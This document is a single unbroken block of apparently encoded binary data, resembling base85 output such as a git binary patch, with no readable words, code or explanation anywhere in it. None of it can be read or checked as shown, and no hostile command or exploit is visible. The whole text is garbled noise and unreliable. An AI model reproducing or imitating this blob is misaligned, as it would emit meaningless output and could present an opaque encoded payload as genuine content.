zNQ``3amosDc-tbR-ZZhrBy*7E^1*^ChLcMe@W166Gb)Ik6u`pwKd$_k34YAjU)Mh! z2V#d{RpnzIL6*i(khn2}2oUV7SX}i;GpIbW3xaD=$hRA|mT%cr6ukQ<#3w;e>r+m& z=-5II8VX|=3e2>=Gmmlbw@!**KR%)F?9kQrNY`YnPnYR2L7|2Td?$p@hm|U*P z?oC_ix?JkJpZXuDyFA2X1(XyfonAoUit-R6kdV+3xCQdcHsywGUbR_nopJ0Tm!J=W(= zUdq^4AJgti+E+088^*|P>9hjW5tWjR>B*~+UVA4pV z0+>DG+el^$3A^jGy_`(jOtn>}ap8<7h{L0b#72^?V}UK$RMK|9>JINqGUE|q zt~Oiw1hIS5I;vN;6B4uAZYw1Z+*y%SLZ&`M9FmDkBALIFOnsEh`a!s&)F80OF@-wD zQ<3+*d3k5ak}TqqB$=^`m?aUjJTm<);`Z9&)XNvKctwEKl5k>@wqBFJ!nbjy@>Z3O zi%eedH==5U>kl#+LW`5Q5t1+}0c1(gafH|Zg%Zbv34@B*Hq)492x@U~zFb!9jn%3P~lFISHDuLL< zlIgpM>we;VND^3Rjm0$7OuA0CwU2~foU-#SaokECc$?ThBMP{UUc-8t7f+>WR1#a~ zmQjX01;lcX)NY?*${`|q83Dx>3H`D(9S?ygo^56+4P?P9#Cf~PRM<}T$(DU#4&NZ; zSp={cPdqw$khc{IvehJ}#xeLNTdA7{ zTddkcoOe3L-L~F3Od?ujc>_OiN?K&~vP~RtU_=trXr0lmfQMFK>8#8$ zGW|(n|EP57-^kQw>@{cRB-fkyU2zOK&PJN^ZsL?pTtXQ+B7$riaoRy#50b^-BDd$9 z+)*p#o!P1P$UN}jB{KD8vhZxHBnONk>7QKg8wv4=o2EFk^l&$Q=~PW(w|W?)srYTt9DgSUG-Iv$A{ws zoMmqD<969_cCIo{=&_5dW^dt^Ml2I77QIR=-f&jcnk9E4ehub55vFH66(lg?Cvubo z((#kW_$kBultF%KuOOvIklH0k?clCm_!D2UpHKkBP#Cu){#*&_(bs7hO?hj(ro)Cb z>rvvKKo;#KjyYuZV`L@*HZ^2=nnn1SQ4BTPNqLDC&WUHptX;$|U9#dmV*Hl5M~QP{ zlWlyxT|}!}e7#lpH*$|>dB`ZCNG7&BWb581PEVLb+(tl_X<{GZ>}G8pA+w(&?%O0z z*+To>I4*xS{AB&^&duEkb! zkMI1L@wDy2S!u*NM&$k?v3di+alE*G*v=iZDcrXm5^j-c2iPkteuGST+djU_DtQ!+ zbb_=#z(HOX?8;n=)YZ|`*{oo{dN5_aUd3`cLZvk7xOO+B#RuAMUDuP zN5oJfNL>+B3&}QLdw5Mw$+GlY*{{{y>!amJ;Raa$i$@?3JeF;MO3J57mhUc_v9;PR zyTy9zki!mYokESndyPWxivqp^rkR(0bV0_Y6MfW8+dVg$&WsrGe+Z_aw%{k~J@T#x zK6KOPk#k;;ANP6e_?AacKk)eFm5*Itap2af{kIpSo%MXY)-nB_c}B5GCKC6bwDI~U zaFS)-2pn5s&-fwSzdU%w^-WU?w#6RLO`#{w(a(-dKKxX7q^dJ)W?$;`hU^6eN%QJ6 zH{S|bS+OgO{_r{uOf7uK`@B+7qB5`EGVRml9=(m!Eht~?F-X?*!#A8v|C-poL&!{E zpmL!P&Q$AUSIXXG^rOZ$(B&tAwyF#aK=_M1eQxi&5W&;wu$vt3Dg`&E0P*z zQBfHCY?cRy+*>5E#B@im{cdWONu_ano3M1SlN~V$|M$$xT z9FL@#)D5CPfnvQ#;Ci`j&|*g$2|})&>&|HnHrppj!U%w){6TiRNe(s59y3gBR-}}g z#1+_tR#}F%F(;(>QA2>sh|cMmBNm~>R>_4{c@?%hdW=(B%o6Kn?4ts<6E{q9`$$%^ zVq3pBw%jSZ)*`xeS~i`!jlyRWN`)j32+}4LNt31_?K30lRwlJ9OYNQ#-Dep~&G8Cx zt&+?U0l1w(4YNj!ql=NiW>r-A!nkVd@M;p&;{F2Ov`v^(N|s^q`mjadEz8(W5z@P* zPQvUbiKPI7;;bH$+9%5FcF1e8h`Vo+Q0bQ2L_(qEdIRFiv{SXRJK`wPj(YZx*O%1DYj3`2KBVKX^UX5fnkZnx_N5##5 zk61r5|G=0esnaln0=kK|Q$ZdTCHBeF2S_dzW=*(dwHf-HvrDXo+lO&d2huuYL2Qys z1xYm~IgRG&-BxL>wwVRCS$C~7%B|9y@Qrc$5J`YmgRxMX7PpdV(Q#O zYaDis8)SAXf~#FpdtmA?+D;`ARIZ_>k?jUZ^c-LBoHJ&VI%%Iy9W$ssIy$-=rbPK8 z;7N;dTJfCi_0!@jTx09aV_FQ7`wg~ZYjpzeOJYWCwo#+-TGzOW*{S8T^6G6;8|`x0 zj36mpB(sm7K53XSIeq(xh4${us@O35zT<<%ij=GJq!OdF3geU;Zu^IY$fb$2<}kAEo+K%C zj(Lr?ITeO+B@TJi0V0SYm>$?}C8_O#xN?)k+Nr67Zt>%G36my?*ePhT*hBd-ZKhc| zMJkMWlOq2UQ=(2hkaBHd#1-f867z%(F=~$MpYjO(qK6j3mkz6kQW5Ho22BWqZ@1QIxMQXJU{4CLzb5j=9%?Wmm{aZa_b$}9J-|MvSq z+Y8nwUi8knyFUHqhP-0WeNA)Hi|1}{TJXrQ>z)DYU43R*qc%y@R68#9ze67Q2n$8K zi1(*NAHh1xL0P^co36~IYjTG@AMAc0yLd&y&ENx_9@|?sZExGWt$F>nmK8f%7VT(T zw5@$9J{| zM_p$j+(+(lima#=`B1W|l(*nCu?7a3euKZZQtZrDHU`-AM#Np>r z!8R(~&PcXx(mJ;f2*zN0zi8)}WUEe^M;U+sH{n2&-a%5^gxiLUGkT2Dy2LQ&#cZ}d=AEJPm_G#1rA;b!|4(AYr$2Yp*HPNtGShE`C+dFJhDqWJRt&&BLN6XoGNCb!h6z;`9wM^-qwSC+uy&v9M23x5ZPeB1TPWnh%H`>73lhI4E+DJwp zfoC`V#IyELA+%!-8{WK>M$^nLlf-dD^iCX=VdP^mpzSwLp>~+Fm()uPqw1q)(njBQhG}IH~RHU zeHr~CBy9q>vr1T1tXfeTbLJ2vjG)=Dobl2sWVy{4EkN6%B9qhlV65wSZY+Xoa|&y47JF3Mo=11zEdTtK70iy2%) z5M?(LHF4Aih#W&AjT%FqAUZO7&@ijpFuh5dTw}4d!y<2j7ljw0CYaY5{Uo6ef)~>b ztiW39w_Mqh4Cp-Ne<3W@{-Qq}2iP)0#}*ryUzoP(Y&aPvfOLYiF-!;iDT(TWy};Jv zZ}zHV3(_jqZf)DRy?aG!)5e^x^%EFSQfl@$Olju6bQ1$+gm? zDjbx~_vvy=qz;I642y$LD1X&rcu1`5SY?+ZV=n8z_qnqRJGB#d6I#(foI@WoDAm=^TF@ zhciAmZ(h}wg+qQbYXhd-4RX5^zWk1Mb$!s9Ud_^>5SP{v`{M99g;BF>!fe|@Oq=}` zm77Fmo8&cqCRIN2yBlP;HcfkK(dx!tYUuTYE8&wpx0DSiVlkw7dKV>SaD1 z5@nY(YJeX<$X3Sb%+UwB83fTF*h+a=GVY+#ZPY5K*D9wI7)ZQhOrEDRgqF>w3{gV# zz^!4&m}DnaKzV@axl{pRl-4Q8o8ZH)vz1z8Q#f;&?Pfn2?}v(lQ^g>IHAzfk8AHb; zH6b*~^uPp@St-mIjy1Ps?t~2rLm5C5V4=1XP>h=F<#so*KF-yN(ON)|t<+>cr_qzf zWLd+q)FxR%xm9Y@jO~+dS=26Rz$UZ8G^5lgcN78Jyu?YUVZbjm6$l1+NS5(4Nnua= zh4>I>+jL~-B!eQb@zylaeO^Ci)>XVVYK?Gq7U1 zgBoDDoW(5mcn~ZiJa|E|oi%C@MJ=H4n2cr$Px26z#ZUz_W$HM|9>fyd3QSHY6J^%R za)u%InLJHq7!>9)S<0kAYQNnM3fqRme#%eo7IFwc1jU&?uE_4U*)uNRIx5&UNuU*W z4v}4rB)gjInqV&lds145dG@$X+9*u%a)@%gBUH=7=(SO+)G_QC8)gnjvj?D!fIiK# zr~!H>Wl*$zlyyp`4j|Hc2W8eiAklc#Hq4Ya8o*G_1TT@AhS<;+7Vb-KLo!c)?=_JYZ*f13(>I^bRVc1}iSc^RFO2!iy6f5=BJJb(mPGSw}?SW(m3phR%x}0?ZXT}r?*S8y9~0sNgNVe^a0yp zhT5d|Pf2dH2)%C@QDKqM1tYFWQiD9QlowuRh`ErWlY!NoX-9w!uOx1rfc7wEP7<8I zmOcia{7ek}Z~*96;vf#psEqL8SK_|;86^Fyy#98`>t8BNA2iu9j0Rh5*YV@A5~#;S z18=c03MgriFb)XF7Ao7i$?hS=cINIa1ik@a#hl8d67V*aEjd{GfxM&pVK0#-Q!B6n zU=i%aU|{f_TT`Lhj6o9HAWQDE0vpi_m~Pz4knMEGj1uiV+sr0R4OwEp9M;P88Vl5q z@rL8rUgTymT-M^LC9HrL_5j~#47{&UZ6d=o=o&eU=s5!f8}4XxbOR5IoOmWf1gwSq zn7JfX2Q8(CLBHjSVi+_3EB!`G(qF~?KgEHc&8W=g%GTQ%u=`S+JA};vF`_y$CyaJe zMe@**cDg?Eg1OH(NF(ALT8-ZxXUH9)jqVrA*9w>Q)9XQ)~xV4$9TlXmym$Z$cESEM;y7* zPi+%RjkbI`(MHc^Y(2MldeI`QYA?t8flg(6FeA6&VqZHUf}I%&M(@ zClKGHH>EI3&vq!z5h0`r!ge6mAttc!${LeDJVCM$A;QeC%!MUs5?Bg01FRQ$DNuOS z5c&x=9<11Msd?U@FuO{$tCw4{Q&~1OU?!G+UTQ0W<4blwNgHA3GNz0%F_EDYY^TPV z!!}!WBBUyb8fACEjuqP@$_0iSMh8Qn!0n5uhwvioxmj=}8N=os6b$4AFc4EtNfS^c zVr=pJi}Xf#Zl@r7oaBs=+!03j0Kzwn@DnHc^~zPRP_aG+%7y@q>muo$B(+tr3;r&n z*mAPmMkVp^x|rbHX*=P-VE~|mnEW&}dl=0#g~(P?W2h4-bqLKJ6VTk^NVegENOFFT zj)$dTYP<1+W72Jd26>}ASlwd)ZWz1(E`i`P-${iy10kXwX&Z3T5V*%Yui;*R*rm8O z(RQ?anB?~?ifEC8fTQW-jA?}DyOz#dAQG=iF77-TRG zpz#JtY}-+eZ!kijchd%B4`K%a36nSv)+}oA7%XH%@PB6>V7cu^dnaHrQ9w5!Fd-F# zWJ0)yL1a<%m^iMJAKM~K89^V35&=w^a+2b?aN^6Nrr0RNsLRE>^tkM!4!Kkm*=mtD zX@UWRv6M>rn8pb`z+3QOlS5%djKjDBU;(7Uwz@GGVAz8y${OQCvEfe;%oUk^y!0`q zag&+eH3zFRJ4sF-^dAgwGT;C(EwPitH}RnCGZBx|4WJL}3pO7C3P~n5JNhL_?FLD` z##vk&a@xoa)G#1U9(919AZ|}b*VHIrlm_60n;!Inpnx(-VXSS{*vb+{-7P! z2v!V@hl*9!!U>NlQCNn+qEsDL1u#3Y(Zyk6hE`*#IFXG9p57RV@fkA+a}jO_=meCv z-9}{*?F#s<$LNgqa+|pc!>|j=(uctf`A#a2ZMA_-5l4GsJj7O$)JD_o%)^hN1n6e$ z=fe0J(QTW76d>#y@C5S(`_!%gtVphdX25F@Mo`Wa$Iqk+3?cOUR@QMMESA#Q_RX)G zS^uXGki{tWFT$Vc|G)0imt?Djye^VdYmzo>11mC&b2;2RO{6mH@WKp+>|CK${GG7& z^|D2OB-^rNzz9ePStv1b5OD^4iO~h?Y4SJ=0gHorfYWh{1nkAC3~#-aiZBS-q@G|i z9e@b}5Ho^7(s6(!m<;ja*1*jv!)z8~UZ*t}<{;l#Cj+%u{BTB4wr>c@hIos#MzUkb z4geR8!AcKPBbvf|%VH^TEFf$@In?4I4*FobiuqPf@KQ#MFlggO8KZs=f#LtF7XSCX z{=Yu|SvZi2)hUdrI{m_fiJ)|y0Ty716C&s@=-<#$n1^4xNk1*5vy-lorJtI4UAFeV zY3FyxV#^J~wHHi0u9;IBAo=5>?5`XoFeBpzoC{BSPkPrS`Pk`-SW1zjgg{y8=N z*83&&rOR}Fe6frA-jiqO-)rfzT{wg5WwQLB!s{b5&u^xwZW*mOYq{wb$a>Rt3#2Ra zIxF`+CEs#dvFXed|GT_}-|#$+kc}S@uQ%PZj(?s{|9%s`zqLzp>K}XIZrP6|Z*2+v zV8zOV&L;0{ntO2L!Uxwc-M41VV{2ADziP&d%V)l_c6ZF+ z$~EmGoJteYD2(Y4#&*N$m7g>$NMQzT1cHgMa?KcqFcm;jL^?^ zu#*M#Ak7+Q?h)AdkLzVC)Ht@Q#ZX#!ub5fLCt;u#VzGra6I+u(TMS^`j{q@I(#S6~ zCO}j?qY11OvELz1(1{Z!#ED}duFNnYm|;nw;>ia9gD>`QwHpnW4j?|nQJO|h@2uxL$HuB_0LQW z5$=4Re8Uk)o*;0SkIv&Ri}s#-U@F*E53u@qsPn$0c$74(U1`{BnW@m=a1I zg`tSIwNJKNC*&5~fKbpMl2oSh4Kjv+NU*H{Sip=N2^}aShTB$ZyF8@@yRM3a5u>lG_j7ce+jj%e$K#J*tRRExYm)$8(=tayO zYcR7m4dIPUp|Lc;xZEBG+8jH;gTzTe-ZDFs2Vt91=2-Cj7ef&rY zCwC)s85R#HiTzms=&)Kz*f`QR%W?s@+sRgJe)UKqsVEqGHzT~%UXnJ1Az`w0T$ZV0 zs|#3VB8QA)yA6?;2hnPHI&^UG5QeU0!YCp*7_N<`{5XpJP=dHZW-=Mz=M4z3XhG-} zS_N)L4qN8Jsjgavtc)xoiCHz^On~iamN5$>Gq+E)dz7TK8D$UgkZWJl&UWIWCt24s z6A0(*{|f=Yfj9?eI7CnAiT8h|U(2u$++F$_{#7Tq4at)+DvsQm|jdVUL0~>jGJN+l>n^6tx4i~fajP%Ks&>Fd73^+Xb&Ph#3^lXDHFmt z2h4=}W8pBw$)7l&p8*Aoh>&BE2#4f0wh#}2{WvVQki05sh@C$G@d7adv=m*f2yd{D z@3G1lh1WAI-)wBePGF%$wqdd~31dbi;X0xkh2=?{(kIXB6=XGIQ}0&?f5hov7As(P zM7%Np=_2y)(Z&OC4apO`r{&G95%rp?y zHZS$YYZvITeioU9JgY2o6-W4>CpZl03A<(}qyM0f?K-Waa0B|GpT2s7&Il`=7F<6q zxN}}y&!Ow|>uwhLg3?;qTdzINhUkXoTYEQ=BV>qa#>a+EF?&#!mfXSuT3nY123&6RAyf9dx3L z>V_%uBKGyt{wDh5i=D*dgaI_^Vx;&VSNM$a7TqG2ZxG^IPF8dYJ%Z8Zt3X+DFT%v2uB0j0>4#|nmNd3*!+eILqBLzp%p5zq1c}Y! zs5Vh>AF{y`WrJ~UKgp>R=X5BdCdd|M4Z=>P?KFcT zkHyi`9q{Ksw~6BivGkWjHAvzckbFoA%ZDFxtmbPw5bh*RtQAI=+Gey0LrR5F?a~Bf ztbw!|movAU8h&CYFTNLOfMrKuc9$MznLuh|M0X?bjin1ico&=~hgmLw1cYi2h~oPG z?K&V}x_l53J@Tk=c@(b0^5{W%^ng6NPZrZ7i|vwt;yT6g?I2MCs1?>7Cioyg!<*rO z!H+EyMpT$3jERFsOrxnqJT*Xa5#K5>)*S9T(5Zkd@!fDaXQ@+E{bo^Aj_fKdBYTqD+v@8L1|j+5k=(ut*t{X&Wq( znh(@FIUibw=(F&k+wS&SGq=)Gt zS_;=xcBTQeNO%WehjCbsjeheeUMEQ&;v=FeybSmTx%GGzdvRrV0kR!QT! z#WBM~)n=AGEQ)JEDkE`Bw=A~aAhy~tx!L1|-F@4RVm;tuksiZ;;=V6Us6EJ|wOw!sd<0oXH z{la)0!&kyfsw5$m@E9|WfXxGj9OSBLLtX}6Y#l$Y8yE=gXh!j)1`#;=m&+>%9Srjf zb|Jw-?;89>;$fHNY_Zs^K?9H;BD0U+46m>bDYxW+HO?SyQjGY=*h(1=jzGv8W^ptX zz=(@+3wCWAMZ@@+O(ed8A5m@;+iaTH0|v4=i#%+R!_2W-AIq&L@IQ7CTXG!r|4M9k z_`eV`Q{bDve=noIi`Bp?(boo_GY~W6h(o%J!-lZ`g^)2O+(WQZ8s>#IVQ#`2gkRB# zSbN}*6Is*%PunQZ=n`RF6f%GyVIW8h2Gi&XlZZZ(BzW8x2qPN|(1XDvGC2Fg6qnHX zbMvB_CD;yAw=!FD1f~+Q%+)JWx{;}f?H9*%!L5+-GZ3q4ym*UMY_qw#)I6-(I0hrL z6&aWW=t>;=8`r=~Zj;7zn#PYQfI*>wkl8Z6l%HIKph)Jd8p}{JjMHou`?l~RhAp$H zAflfi!7+*@3;3-BX9lGF_@9JaXn)b4jsw8ralL$8x#%#gPLb0N9xqt3G9i!Ca^R*J z+vOB~)lq#E{>}#8KTV4|=N5XzE$sU#pzMZZ-<+|n@`^{%bU=i_aVJ8pzBm8`VEGQ*b z?-62OLRR#Vjl(3Mm8|&8O8FI8`!NYVPlB$HfV%)RI4^>yu4Lyw_}mpn)DTTM;*do# zILxw05Zc7fp!P2l;vD9HLK0NSQB*^NQ9h(97o+pnr7Dx6nZ%Zhmx3UL^_vW6dmLrg1(X8{i`jRB>2C_71Ua}Dun z5C=CBWr;Whzusie^(`POYs%M2&B}84w2p`zJ;1bs=RRt^Qk2QK9^77$)M==gj^16qPz$vio z-Ti7f76HY!f{0g{7>C6$CUCsfvlkTxRiIuaDQnpJ*W(&vAzR2`VP)d`7ImFKxiPur{FPYT{o{ z{PEURtVzD*3YJZ{nXhgWAq$IVF^;AuL7l|E9chJ$7ls)Q4#T-6O*}0QHbD*b99#5! zYa#(Hj4;61gE+S9o5V=pLbM8mQ>%(eAQ+1=$q~-DRaYU^G9RZ?dDbI3k}(s5igiH= zHw^F~eHVcLWyI$WEHp$_$xd9sEBKVMlXuvdX&|a*vZ;a{O5jrgr*)#K!+_zMgz*gK z=(`nl;!p6lLWJ{1w&aUoO$k8XVd%CH4-9ftj>4EVXeZZxb|X0X%Xk3m*mx`XWyqmI z3@1DVlku0A#Wy(rT+Q_wV>nk2`v#-8Nuce)saS00sw#Lmh+|6u_kxYY8_A#x1lk(R zVlYq|)j_;bjC*~?2k!OJeh}IQmj2AuUq-KfJb0H$qhPDU!R!s}RK6|fM{cP2V1RK` z9w#_@m2!19@-RwKK#f#Y7z0&E^GH03*zN4}Vy?EI$1O%3M_?TagW;R*A-^s0s$fUi zu+xrf*bC|h_P^+tVTJ+5215m#O8O~=Z?=>fhqve=(c|knx z6C_0psUtomf-np`u(XzF(c}4oum<9Bm&q}V_CVxJhtw)XVZN#o6&gl@llQqE2WLRI zkz*R0GWz%8gahkha1!63;~)m{Xl{!A>&5l5>vxiGIb-$zB=o{x^k?KiDeHI46p#6o(G(h5ciMR1QZ^I?t zhAaH_mxLS6ir1Z$uDvK;dxf|5I&a-o;kt98wP!?YFNhwvC|Pq|zWOSE-cgf{mjqj` zl0_%UCJ2y0vTTgZZ6cN*6XI4zmO@nZla-gI1${I-=t;?jM?~H)lXWjk{Js!-e<$_& z4&G8u+M`mBj|A)A6|R2Y+W#qIKLsn_HQe|Qd}HeQ1-`+r_+aV# zjf46pBd;$NUSIzY`c~ofZ{+zM`_uC~BhPQ`RX-{=ekOh3W7*n&Sa^RgTl<-X*HLTV zpFsE^d*Gkkm;XQk6hmQCuW#&>KS|g9!`$aEK9eQy7;pK?I^d{@=hy!id+z~fXH}<< z-w=8TU1i<1tlNLP|6SMBRY0*&L_{fypjc2qSw#^+r6|2a64D?*AOS*vkOHLF$@E@s z@AtmFx7+K?`+v^+&P;}62IjhC2|DvRb3X5V@44@L&iAzEeCvVf_^%#VlXtk|Ieo=P zuGsT|i?^T&AG&m#=d;fq_JtQuxB!)({D)}5iRVo>p|C>-JZic*X~H?L9`X6-J)d1Z z`-~N6<7pRdIrhu19P`Cjk3VPqY2Vy-^7-hL4JV(!>A0_~_k8AgQkls}ftz#BdF_bL zzv%hwbF%UhXe)@|j@K@j5 zcI=ndeDK0;r+jVm(Pyo3^P|4-D%ypR4kw=X=48oj?AmE2XK=2abKaVhE`0O2udbVY z)~aLAeeLiszI6Q8HjH)3TLS?xUMW#>7Q_bkdF<`l`#Sm{0o*BD?8(R0EeobLEJ<}0rqclMeOePb)83C7H< z&#gG_D{FD*=(AqItU2M_4Tqh+(({=W7!u_Ex$fkhbPBtJcK>wTd25b4`xT5#_-4eT z+{uWCfArgX(3^9mSqUO)Am*AL83I_HfOkG{tl&l%zoUsOG(uJp|Q;Ev<|t?wUyRQ!KG z9O#PJNv06V*wG3JC+^SKt&}~a*mTwo%XZkX>5>i4U}?psRGZQ55N!u3@-ZoqkNuHy zl(Uf#)*!}{G#D!*T56OZJ|K}Os{0atg^$i}gH#=l6|=TKHNu%Ts}sM&1CcrsF7OdI z@f8XoL}rGIoEcloW{1Xm6}W$u@3Inx?4Ffi-mR*tBLNE;*Xn7cL1Ia*YZk z#L?Qib)J}}dhe9=aevNEHy172pQs5Y3F^dZHkzE^?KnpQHuVQ9l4VC}o7e5uUJGJT zH8&+4oaYQ5_?$nn{s++EK+5d9GqLN(u7#}aOO;`}2*16IVJ9RzF4{4{9*kx&*g$jM zvIFUYl(WN3IYgIYd~K4%4L4eUbR`B7MlXgd29;LA^X-&8)*a}Vx29m4lovD3_%v+R zaK>k}k`SEdXwGvo&U0wzIaBm3rPxY=jAt^EDKfw^5Sb_HZ%4PcA@a1xPg*4Xp5$#t zB|%Xzcm#utpBO`O+{d88$icwy$88Lfx2w+q#6e+)GI`7t1l&ODlA;~wM`E1a>D9EN z-5bc{>UJkMb3 z_tEtz$(yz>K^`(C-6mfTr&@m+z8}LB;D!_I{&|ucK}XEwGZZ*9DRAJ3#T}$17A4M3 zvHRy~+~n>3a;#<{fka6kPXWP>V1_a_CD|#_j!3powh_kYU%v6;(f{#^=ai>Br!MlG z^wG8tf7<`=SLOcc;vFn+YYfW>d{W{lfn!BUR1JaSM+#baXb(g8vCKfFAoHnEPUF}_ zAgi(}m#AbFTE1I z)K%2jvdU)!%An(1c(5Q*lU6AwB)RZ_#l|vR98WN4@*F!WH(vkA`*G6F#m%ge%&3zj zQ;t)yK23<|VpL{>3Kv3NFYuNW%m_m{DWIggHM-v}GZiCN*24uQR8Rs3>na3dmd1IlE*iR9H#{Gh)i*6PA#ym_jWh$>|Vosπ z&?ta>s^8o zHRvd=k!SfN?(mVJoRFGooKMlNbViD@vF;2Xw8W6X1avNle54=@XLyAQAjTo)PDNww zf{Ni+lqn?{bgP81ipro$C54gVerMcHl4=Hz39hDsnBy3+c!HJ=A)kDZW4x*H%w)-w zqjbDi7sG}WQMiE0W5@-D3le%kXA<$Do}x;61pTWqQFPGQz(}byhKf&4`)e5~_)hX3TDrQ{O)0)PavW$h<;24chivSY2l8VTZ=iK{GUwm=y-#z0wrf}H8!gS6t2&ZhLCh|aI)mpM875mrk(udT#`w(o2pM> zx+Shx=KIR|xF!uwm2|Pcq4YM7n)EA~@2Qj%c`HbzTQj<^RE(ik0@ur?x`u09tw=Fc zcixN}TDX`=ma++5^iE0&5UO5G70fW3YzN({`Gm~&A~jTb6xO5$k|GVtQb?2{2PTdW z7E7XOQOVSRrYG|Sp5+2O=c^XdGTWU|{TbC;%0&5eJCkTrxE`lbAoYQHWAu-Q_mpxm zj_S1QtS%3sqmi;kaH@X60HBj?C|}G*EzOSv`d5p|MxRqDB=9KwTx5IjD7(gZ`!}Hu z4bjsnJmpZF^eZ~vnm0n|{qdQ?r8+=Z_fD;l%;`Zs-HAIRWlH56e7@*acyF!D7c(g) z-Ivu8E_z=y?HZgslj3o)0JN2 zhU5dY0O$Og&J;CDV4{h%1Qzl~|NZuV{``iyf4j=DjXy1T%o)aCUuA#n@_{&O7gbXd z8C7Shc?m}uDIP39DLoCKDFLe$xylldYB&VcFhzoLr!WlhI)a z8+pzQC_;bM@PlGhqM1h<%|JtyM`2xSAZgl=tcN5$d|--!&69~^%&1n($R(qxE{rbS zibq4OmKrgYFcQYM%y~=MG%nmb2c(eG*y(q{P`MN@h9jY>blu9;F)hYNE zDBb zyG9ubcI$pc=*3Ne>7*omi1vHi;t>%k*cg zIL8iJW}N2`8&uWQsH#K?c?KV;6hgRi7=9AhjS8Uqba?=EaQbnQR4vBQ1dP>kK8hTL zu_)o^lg@Vxep$zgF-eNkoq8_HDMMN|Viw{tsw2(!8rdkRyfA1P;Z&kMV@5cpI}vNn zn4wgn)g2ocBu*E%74ji;de#baOm8~bkW(G(mF z7^argJW$uZnHAP+gO9(~<3E(TR8m`?O^v@f5be1m&UEsl2~pW^v= zV@Oki4J4E&^_*r3nMPDn0>N-|HlLD|AWpG}@0(2byiB*g)+|QiU_Q4xGIMO2pDf#I$?M?&rzp%&i?&Nr~2_06s{C`SqS0+N#cDC zRo*E)&5<)&4E1+J zxUBUDBinPuFfP&z=p!VlRwEN&g>FUnS-A+q_k^NwEFv*Xk0f}(y+D!$f2GLcBA-do zsotsR@YeqFI{hU${WZxrSCx>gVX*ZdnDnd=+*v9z4&5?LdI%N3`hy8IMz;x+*|#A0 z8(e>;zfw8tr`9j%eVj2#;?4e(|xDiT$^*nn*r12WS>z> zrnFwO7^c~N!{ClQ!gILCGi#RTsN;{s)nSKuWIm<{@vOnpN#Bu&d2p>s$x1;Rg6R2Zpa}g1;=t+_}`Kgui+-ypE2UV99fg9mZW5K0FQDXIDV0g_E(Dv z3ZPiVNFRH+=SYvIl9hPqQfQ1wg-)I`OJSpin4Ba@F;WfZMbpaVprs_{IIlS7FwgNv zdGP$a&aw&L6wgl>cmi>uh_xSm1fl%#N6to`4hQP_Y+jS;XgH@z&{H!6cK=+YNqZZpPXbRq z@feRTB%o>rQs`owPy00iEpj_$|EA@1nvM_V4W?dH($RiWy`xDb$#ahN;OC~CEM@ou zp0j@!;}uzmu6Zawg>eB%Hl9G_*$q_Qt=sem4=HIWsaio+xCq{R+>xF+4uz4>^{EJi zP!jH={t#4Eaw3ZDKYsRq-G20mfQeEpCV0L#pN~PVT`Hx)k38xq&yh!Z6ge>aFpsW< zk2u_O)R7(l6yQi4&YXrPvswxoU@8x4q#!zHkV}eBQio>p z844Vl6gY6ix_8K+oh;!rHA&KN?&3vF5RH^zMMN_!nh{w~$a+e%Xi7~cOf{OfyHxw5 z=dYjjA1$7b@A91bl*jWA&7RK>p7t~8BUip26|IcYuNmEn*;&eaRlb+7kND(K9*?Oq zdS0ja^qj*y1{EwTX^RQV@u3lmH|bE8i`ETRiVbQhKLl@cJRW>R0gI011wO}#HO*9$ zNg*7|@jM?6S5zg-u}-4jlK3^Rlt+gWT2ul_%_3a z@EL%|cemU1F+ES?~yYlfgxc&z(I_to#5j47#oC&u1@=L0nN~=K_M4n zeR(N{Yd+cweQW4)LLV90+)(q(iz)Xba@;vESwc*v1JD#U#Tb-}p%Ts~hh#crNu-ZX zI>sZWf;tyJ;Ybgk@LM9Ku?eEr$t6%*5Cpjx^WmdQ9DIcSDe4csRNQgs6IN0_yCAA* zZ&rx7^^}u?s3)2u#`|$oNez|MBwB=PTu6zbs?L=Z8iaz_6?Lwgf)w|mE$A9(u%cZ; z6xy{(J~CL*xEx34ST@IU`{h+dHBu?$xUVIWWl5TgQAZ_9YPzJx@o+iWkC!5cI=qq^ zK$Q%}H?RZx~9u)va1;}=0#Vc zTcJOW9z+*|Am~IC7$rWC3Q3W%L{!L80N=V7BN+)}5|714=l&L*j`AQKe(OFQWuQI`-C>XvITVWV93=b@6_68t{1yf9 zQvAd<2yma~)^O6~nhxMsco*L2{uVdg=YU+e##d~p->&CCI*jnDE(%dUMhLDkNKg{` z$fz*hg5ED{6b3oyW9Nw0vnixaf!>#R)^rlaXI2uA@px((3)fXE!$hJ*O)0TI2$h|-{K5(=L^U=;K=rVL4MlZ${#xr!QaR-yp9n7dL zMEQB1!6-7*X(b-XG7N^F5{rTBrzewk#=u}Jid;pOftn zvq;c%hMF_f-W^5wKs_r#ecsie2hr421lrt~R(K=k7kUT80aZztRdh5#qXKA=LnVwW zEOFCXd8V^E9azTVS&OG<@)-*JxljOudAbSfjKM3KAZbz>(soxGpTs%YO77JDTb_qn^|7G&bhP`i`eTVI0P9xPxmk6~!Bo=M+|DBMKAN`4|!%9WcN! zQ__`;P&8OB;l;Oh#Q;@NCa=-RxwsE@ZCRNDd_k@7i<+94`S{B`pi(*#J>SDo=&~9u?sGGs3vNBiHg}f?&R-l+nMX9jQE}FO& zQ(-<4MwxWD57o=aDO4Mk7gByxOyC;#%NDG(lGUsT)PP#xj0sROECMgmx@RFHkGBh`0WN>k!XLdmp%0N23 z+e=mo&d)1ZO5^>87*si*%nX@Qh>CXVLO`SjYIz3txnw`83KWQD!gLF7H~556U%C&k860u6DV&!L-;M+Q4i zI@*J45COl!9xo&V=}N@E90yFww)jv9q}7Hh0!ikXf>9B045X+MNtenMl}Y5kix(Y z0WsktelbBt$!X$fI%?LeayE;Rnbi#B>1Z4mSy?e9%B=~ioeK8hf{6~{;b@TtqeZ8l zXcWkffs_pNW@U!JDVYPrXJbJS2lE}>ib`Uf$Gm+I-(yrObPV=(SWhx616ie+rfMpT z{&PkuZBaB5&~{10c%zh9Tu&14jc;*6n>%|}C1VJwc-hjAJ7yqtYkX z|MayN=YD#(=M&o;40Kv-?te)C@O}HAFX?1ccA2GMeQn9%YL=K`*YXCRj1iDg&Ir2T zIm%-g4EVso%z(Nblc$rI;vIchQqi1_GL8uptcpdE3a)yE} zJM8bl$Jt0nkjKh~l46rbL2NeLbJ$U{gRwxdRx1vCJjb7U zY>Wz(NAgD>e>f^28JtsBk6BQo=^(zE1)9$G9F9}uVIDK9CaEZ#3LJUNVRIpvIn1LP zqKK+al4!|b{Ly|!I_}8hPdNb}Ihp(r>BJA5P#GzOlYZ0_!vz;7e(*R#Qk;lqd+K%> zmB;Ijm_z!0_Awq(IOfL>Py6r(kRNf>VW)oR#AqB!7`$PrXxGul9zmWw%ace)(sV)) 